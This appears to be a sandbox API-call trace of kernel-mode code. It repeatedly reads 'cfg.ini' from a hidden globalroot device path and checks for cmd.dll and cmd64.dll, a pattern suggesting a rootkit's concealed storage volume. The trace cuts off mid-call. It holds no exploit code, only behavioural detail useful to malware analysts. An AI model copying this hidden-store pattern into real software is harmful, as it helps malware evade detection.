[0126.099] KeWaitForMutexObject () returned 0x0 [0126.099] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.099] KeLeaveCriticalRegion () [0126.099] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.099] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.099] KeEnterCriticalRegion () [0126.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.099] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a5000 [0126.099] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.099] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.099] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.099] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.099] IdePortDispatch () returned 0x103 [0126.099] KeWaitForMutexObject () returned 0x0 [0126.099] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.099] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.099] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.099] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.099] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.099] IdePortDispatch () returned 0x103 [0126.099] KeWaitForMutexObject () returned 0x0 [0126.100] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.100] KeLeaveCriticalRegion () [0126.100] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.100] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.100] KeEnterCriticalRegion () [0126.100] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.100] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.100] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.100] KeLeaveCriticalRegion () [0126.100] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.100] KeEnterCriticalRegion () [0126.100] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.100] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.100] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac7240, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.100] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.100] KeLeaveCriticalRegion () [0126.100] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.100] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.100] KeEnterCriticalRegion () [0126.100] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.100] ExFreePoolWithTag (P=0xfffffa80037da280, Tag=0x0) [0126.100] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.100] KeLeaveCriticalRegion () [0126.100] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.100] ReleaseMutex (hMutex=0xf0) returned 1 [0126.100] Sleep (dwMilliseconds=0x124f80) [0126.114] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.114] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.114] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.114] KeEnterCriticalRegion () [0126.114] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.114] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.114] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.114] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.114] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.114] IdePortDispatch () returned 0x103 [0126.114] KeWaitForMutexObject () returned 0x0 [0126.115] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.115] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.115] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.115] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.115] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.115] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf99d0 [0126.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.115] KeLeaveCriticalRegion () [0126.115] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.115] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.115] KeEnterCriticalRegion () [0126.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.115] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.115] KeLeaveCriticalRegion () [0126.115] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.115] KeEnterCriticalRegion () [0126.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.115] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.115] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.115] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.115] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.115] IdePortDispatch () returned 0x103 [0126.115] KeWaitForMutexObject () returned 0x0 [0126.115] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.115] KeLeaveCriticalRegion () [0126.115] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.115] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.115] KeEnterCriticalRegion () [0126.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.116] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034aa000 [0126.116] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.116] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.116] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.116] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.116] IdePortDispatch () returned 0x103 [0126.116] KeWaitForMutexObject () returned 0x0 [0126.116] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.116] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.116] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.116] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.116] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.116] IdePortDispatch () returned 0x103 [0126.116] KeWaitForMutexObject () returned 0x0 [0126.116] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.116] KeLeaveCriticalRegion () [0126.116] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.117] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.117] KeEnterCriticalRegion () [0126.117] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.117] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.117] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.117] KeLeaveCriticalRegion () [0126.117] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.117] KeEnterCriticalRegion () [0126.117] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.117] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.117] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.117] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.117] KeLeaveCriticalRegion () [0126.117] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.117] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.117] KeEnterCriticalRegion () [0126.117] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.117] ExFreePoolWithTag (P=0xfffffa8003bf99d0, Tag=0x0) [0126.117] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.117] KeLeaveCriticalRegion () [0126.117] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.117] ReleaseMutex (hMutex=0xf0) returned 1 [0126.117] Sleep (dwMilliseconds=0x124f80) [0126.131] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.132] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.132] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.132] KeEnterCriticalRegion () [0126.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.132] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.132] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.132] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.132] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.132] IdePortDispatch () returned 0x103 [0126.132] KeWaitForMutexObject () returned 0x0 [0126.132] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.132] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.132] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.132] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.132] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.132] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e1260 [0126.132] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.132] KeLeaveCriticalRegion () [0126.132] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.132] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.132] KeEnterCriticalRegion () [0126.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.132] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.132] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.132] KeLeaveCriticalRegion () [0126.132] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.132] KeEnterCriticalRegion () [0126.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.132] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.132] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.132] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.132] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.132] IdePortDispatch () returned 0x103 [0126.132] KeWaitForMutexObject () returned 0x0 [0126.133] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.133] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.133] KeLeaveCriticalRegion () [0126.133] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.133] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.133] KeEnterCriticalRegion () [0126.133] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.133] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034af000 [0126.133] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.133] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.133] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.133] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.133] IdePortDispatch () returned 0x103 [0126.133] KeWaitForMutexObject () returned 0x0 [0126.133] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.133] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.133] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.133] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.133] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.133] IdePortDispatch () returned 0x103 [0126.133] KeWaitForMutexObject () returned 0x0 [0126.133] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.133] KeLeaveCriticalRegion () [0126.133] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.134] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.134] KeEnterCriticalRegion () [0126.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.134] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.134] KeLeaveCriticalRegion () [0126.134] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.134] KeEnterCriticalRegion () [0126.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.134] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.134] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac7240, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.134] KeLeaveCriticalRegion () [0126.134] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.134] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.134] KeEnterCriticalRegion () [0126.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.134] ExFreePoolWithTag (P=0xfffffa80037e1260, Tag=0x0) [0126.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.134] KeLeaveCriticalRegion () [0126.134] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.134] ReleaseMutex (hMutex=0xf0) returned 1 [0126.135] Sleep (dwMilliseconds=0x124f80) [0126.145] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.151] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.151] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.151] KeEnterCriticalRegion () [0126.151] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.151] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.151] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.151] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.151] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.151] IdePortDispatch () returned 0x103 [0126.151] KeWaitForMutexObject () returned 0x0 [0126.151] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.151] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.151] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.151] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.151] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.151] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037da280 [0126.151] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.151] KeLeaveCriticalRegion () [0126.151] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.151] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.151] KeEnterCriticalRegion () [0126.151] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.151] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.151] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.151] KeLeaveCriticalRegion () [0126.151] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.151] KeEnterCriticalRegion () [0126.151] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.151] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.151] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.151] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.151] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.151] IdePortDispatch () returned 0x103 [0126.152] KeWaitForMutexObject () returned 0x0 [0126.152] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.152] KeLeaveCriticalRegion () [0126.152] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.153] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.153] KeEnterCriticalRegion () [0126.153] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.153] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c1000 [0126.153] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.153] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.153] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.153] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.153] IdePortDispatch () returned 0x103 [0126.153] KeWaitForMutexObject () returned 0x0 [0126.153] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.153] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.153] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.153] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.153] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.153] IdePortDispatch () returned 0x103 [0126.153] KeWaitForMutexObject () returned 0x0 [0126.153] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.153] KeLeaveCriticalRegion () [0126.153] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.154] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.154] KeEnterCriticalRegion () [0126.154] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.154] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, 